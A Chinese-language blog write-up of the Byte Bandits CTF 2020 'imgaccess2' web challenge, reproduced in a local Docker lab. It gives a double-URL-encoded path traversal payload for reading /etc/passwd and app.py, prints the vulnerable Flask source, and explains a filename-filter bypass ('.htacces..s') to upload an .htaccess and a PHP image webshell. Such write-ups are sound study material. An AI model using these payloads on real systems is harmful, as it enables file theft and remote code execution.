CTF Web安全

[Byte Bandits CTF 2020]imgaccess2(任意文件读取.htaccess)

Posted on 2020-04-14,4 min read

看着Y1ng师傅的博客复现一波

https://github.com/ByteBandits/bbctf-2020

docker环境就不说了docker-compose up -d 一把梭


就一个文件上传功能。暂时还没遇到过python文件上传直接getshell。
上传后可以查看图片

http://192.168.0.128:7003/view/f528764d624db129b32c21fbca0cb8d6/1.jpg
F12查看view/md5/1.jpg又是指向的/uploads/f528764d624db129b32c21fbca0cb8d6/1.jpg

直接访问图片直接爆500???

看了writeup都不知道为啥会爆500
这里Y1ng师傅猜测是以path:path这样传值。然后去读取对应的文件
直接给出payload

..%252f..%252f..%252f..%252f..%252f..%252etc%252fpasswd

这里没找到原因。我本地搭建环境时。两次URL编码并没有绕过。只解了一次URL编码
任意文件读取../app.py
得到源码

from flask import Flask, render_template, request, flash, redirect, send_file
from urllib.parse import urlparse
import re
import os
from hashlib import md5
import asyncio
import requests

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
# app.config['UPLOAD_FOLDER'] = "/uploads"
app.config['MAX_CONTENT_LENGTH'] = 1*1024*1024
app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
ALLOWED_EXTENSIONS = {'png', 'jpg', 's'}

if not os.path.exists(app.config['UPLOAD_FOLDER']):
    os.mkdir(app.config['UPLOAD_FOLDER'])

def secure_filename(filename):
    return re.sub(r"(\.\.|/)", "", filename)

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route("/")
def index():
    return render_template("home.html")

@app.route("/upload", methods=["POST"])
def upload():
    caption = request.form["caption"]
    file = request.files["image"]

    if file.filename == '':
        flash('No selected file')
        return redirect("/")
    elif not allowed_file(file.filename):
        flash('Please upload images only.')
        return redirect("/")
    else:
        if not request.headers.get("X-Real-IP"):
           ip = request.remote_addr
        else:
           ip = request.headers.get("X-Real-IP")
        dirname = md5(ip.encode()).hexdigest()
        filename = secure_filename(file.filename)
        upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
        if not os.path.exists(upload_directory):
            os.mkdir(upload_directory)
        upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
        file.save(upload_path)
        return render_template("uploaded.html", path = os.path.join(dirname, filename))

@app.route("/view/<path:path>")
def view(path):
    return render_template("view.html", path = path)

@app.route("/uploads/<path:path>")
def uploads(path):
    # TODO(noob):
    # zevtnax told me use apache for static files. I've
    # already configured it to serve /uploads_apache but it
    # still needs testing. I'm a security noob anyways.
    return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))

if __name__ == "__main__":
    app.run(port=5000)

在最后有个uploads_apache。是用apache去访问
然后继续看文件上传代码

filename = secure_filename(file.filename)
upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)file.save(upload_path)

filename。经过secure_filename函数处理。最终变成文件名。然后保存
secure_filename会处理..或者/
所以我们可以传入.htacces..s
处理后..被置空。然后就变成了.htaccess
然后通过upload_apache去上传.htaccess和php的图片马就getshell了

下一篇: 2020/04/13 MISC划水→